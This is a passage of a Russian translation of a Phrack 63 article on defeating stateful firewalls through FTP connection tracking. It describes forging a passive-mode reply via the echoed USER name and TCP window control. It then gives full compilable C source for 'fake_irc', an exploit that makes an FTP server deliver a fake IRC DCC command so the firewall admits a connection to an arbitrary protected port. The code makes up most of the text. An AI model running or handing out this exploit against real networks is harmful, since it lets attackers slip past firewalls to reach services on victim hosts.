Продолжение...
[==========5. Вариант атаки №3 - свойство 'echo' ftp-ответа==========]
5.1 Пассивный режим : общая информация
FTP-сервер способен открывать также пассивное data-соединение. Это называется пассивный FTP. Наоборот, активное открытие соединения называется активным FTP.
Перед передачей файлов в пассивном режиме клиент отправляет серверу команду PASV, а сервер отвечает соответствующим сообщением, содержащим номер порта клиента, например:
-> USER <a user name>\r\n
<- 331 Password required for <the user name>.\r\n
5.2 Детали атаки
Обычно после соединения пользователя с FTP-сервером, сервер сразу же запрашивает имя пользователя. Когда клиент вводит имя в FTP-приглашении, на сервер отправляется команда USER с последовательностью символов имени пользователя, которые частично возвращаются. Например, пользователь вводит имя "Alice Lee" в FTP-приглашении
-> USER Alice Lee\r\n
FTP-сервер обычно возвращает следующее:
<- 331 Password required for Alice Lee.\r\n
("Alice Lee" повторяется.)
Пробелы могут включаться в имя пользователя. Злоумышленник может вставить вместо имени произвольный шаблон. Например, когда вставляется вместо имени ответ пассивного FTP, часть прибывшего ответа подобна ответу пассивного FTP.
-> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n
<- 331 Password required for 227 Entering Passive Mode
(192,168,20,29,42,125).\r\n
Может ли фаервол спутать это с "настоящим" ответом пассиного FTP? Может быть большинство фаерволов не ошибаются тут, поскольку шаблон находится в середине ответа. Предположим, однако, что размер TCP-окна соединения регулируется атакующим, когда соединение уже установлено. В этом случае ответа может быть разделено на 2 части.
(A) ----->USER xxxxxxxxx227 Entering Passive Mode
(192,168,20,29,42,125)\r\n
(B) <-----331 Password required for xxxxxxxxx
(C) ----->ACK(with no data)
(D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n
(где символы "хххх...." - просто буквы, всатвленные для регулирования длины данных)
Я тестировал этот способ на Netfilter/IPTables. Я покажу, что Netfilter не ошибается в подобных случаях. Причина этого в следующем:
(В) – это неполная FTP-команда, заканчивающаяся <LF>. Netfilter, соответствено, никогда не рассматиривает (D) – следующий пакет данных – как ответ. В результате фаервол не пробует разобрать (D). Но все же в случае небрежной реализации модуля отслеживания соединений атака будет работать. В этом случае фаервол будет ожидать от клиента активного открытия соединения с портом на FTP-сервере,причем номер порта определен в поддельном ответе. Когда атакующий инициализирует установление соединения с целевым портом на сервере, фаерволл в конечном итоге принимает нелегальное соединение.
[=========6. Приложение 1. Демонстрация атаки 2-м способом=========]
Я написал программу, использующую данную уязвимость, на языке С. Для компиляции использовалась команда:
/>gcc -Wall -o fake_irc fake_irc.c
Исходник программы:
/*
USAGE : ./fake_irc <an FTP server IP> <a target port>
<a user name> <a password> <a file name to be downloaded>
- <an FTP server IP> : An FTP server IP that is a victim
- <a target port> : the target TCP port on the FTP server to which an
attacker wants to connect
- <a user name> : a user name used to log on the FTP server
- <a password> : a password used to log on the FTP server
- <a file name to be downloaded> : a file name to be downloaded from the
FTP server
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define BUF_SIZE 2048
#define DATA_BUF_SZ 65536
#define IRC_SERVER_PORT 6667
#define FTP_SERVER_PORT 21
static void usage(void)
{
printf("USAGE : ./fake_irc "
"<an FTP server IP> <a target port> <a user name> "
"<a password> <a file name to be downloaded>\n");
return;
}
void send_cmd(int fd, char *msg)
{
if(send(fd, msg, strlen(msg), 0) < 0) {
perror("send");
exit(0);
}
printf("--->%s\n", msg);
}
void get_reply(int fd)
{
char read_buffer[BUF_SIZE];
int size;
//get the FTP server message
if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) {
perror("recv");
exit(0);
}
read_buffer[size] = '\0';
printf("<---%s\n", read_buffer);
}
void cmd_reply_xchg(int fd, char *msg)
{
send_cmd(fd, msg);
get_reply(fd);
}
/*
argv[0] : a program name
argv[1] : an FTP server IP
argv[2] : a target port on the FTP server host
argv[3] : a user name
argv[4] : a password
argv[5] : a file name to be downloaded
*/
int main(int argc, char **argv)
{
int fd, fd2, fd3, fd4;
struct sockaddr_in serv_addr, serv_addr2;
char send_buffer[BUF_SIZE];
char *ftp_server_ip, *user_id, *pwd, *down_file;
unsigned short target_port;
char data_buf[DATA_BUF_SZ];
struct sockaddr_in sa_cli;
socklen_t client_len;
unsigned int on = 1;
unsigned char addr8[4];
int datasize;
if(argc != 6) {
usage();
return -1;
}
ftp_server_ip = argv[1];
target_port = atoi(argv[2]);
user_id = argv[3];
pwd = argv[4];
down_file = argv[5];
if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) {
perror("socket");
return -1;
}
bzero(&serv_addr, sizeof(struct sockaddr_in));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(FTP_SERVER_PORT);
serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);
//connect to the FTP server
if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) {
perror("connect");
return -1;
}
//get the FTP server message
get_reply(fd);
//exchange a USER command and the reply
sprintf(send_buffer, "USER %s\r\n", user_id);
cmd_reply_xchg(fd, send_buffer);
//exchange a PASS command and the reply
sprintf(send_buffer, "PASS %s\r\n", pwd);
cmd_reply_xchg(fd, send_buffer);
//exchange a SYST command and the reply
sprintf(send_buffer, "SYST\r\n");
cmd_reply_xchg(fd, send_buffer);
sleep(1);
//write a PORT command
datasize = sizeof(serv_addr);
if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) {
perror("getsockname");
return -1;
}
memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));
sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n",
addr8[0], addr8[1], addr8[2], addr8[3],
IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);
cmd_reply_xchg(fd, send_buffer);
//Be a server for an active FTP data connection
if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) {
perror("socket");
return -1;
}
if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) {
perror("setsockopt");
return -1;
}
bzero(&serv_addr, sizeof(struct sockaddr_in));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(IRC_SERVER_PORT);
serv_addr.sin_addr.s_addr = INADDR_ANY;
if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) {
perror("bind");
return -1;
}
if( listen(fd2, SOMAXCONN) < 0 ) {
perror("listen");
return -1;
}
//send a RETR command after calling listen()
sprintf(send_buffer, "RETR %s\r\n", down_file);
cmd_reply_xchg(fd, send_buffer);
//accept the active FTP data connection request
client_len = sizeof(sa_cli);
bzero(&sa_cli, client_len);
fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len);
if( fd3 < 0 ) {
perror("accept");
return -1;
}
//get the fake DCC command
bzero(data_buf, DATA_BUF_SZ);
if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) {
perror("recv");
return -1;
}
puts(data_buf);
///Start of the attack
if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) {
perror("socket");
return -1;
}
bzero(&serv_addr2, sizeof(struct sockaddr_in));
serv_addr2.sin_family = AF_INET;
serv_addr2.sin_port = htons(target_port );
serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);
if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr)))
{
perror("connect");
return -1;
}else
printf("\nConnected to the target port!!\n");
//Here, communicate with the target port
sleep(3);
close(fd4);//close the attack connection
/////////////The end of the attack.
close(fd3);//close the FTP data connection
//get the reply of FTP data transfer completion
get_reply(fd);
sleep(1);
close(fd);//close the FTP control connection
close(fd2);
return 0;
}/*The end*/
PS. Исходник приведен "как есть". Коментарии не приводятся, поскольку даже без знания английского языка (но при даже небольшом знании языка С) в программе все очевидно.
from PHRACK'63
http://phrack.org
автор Soungjoo Han <kotkrye@hanmail.net>
перевел rent0n <podzaeb@gmail.com>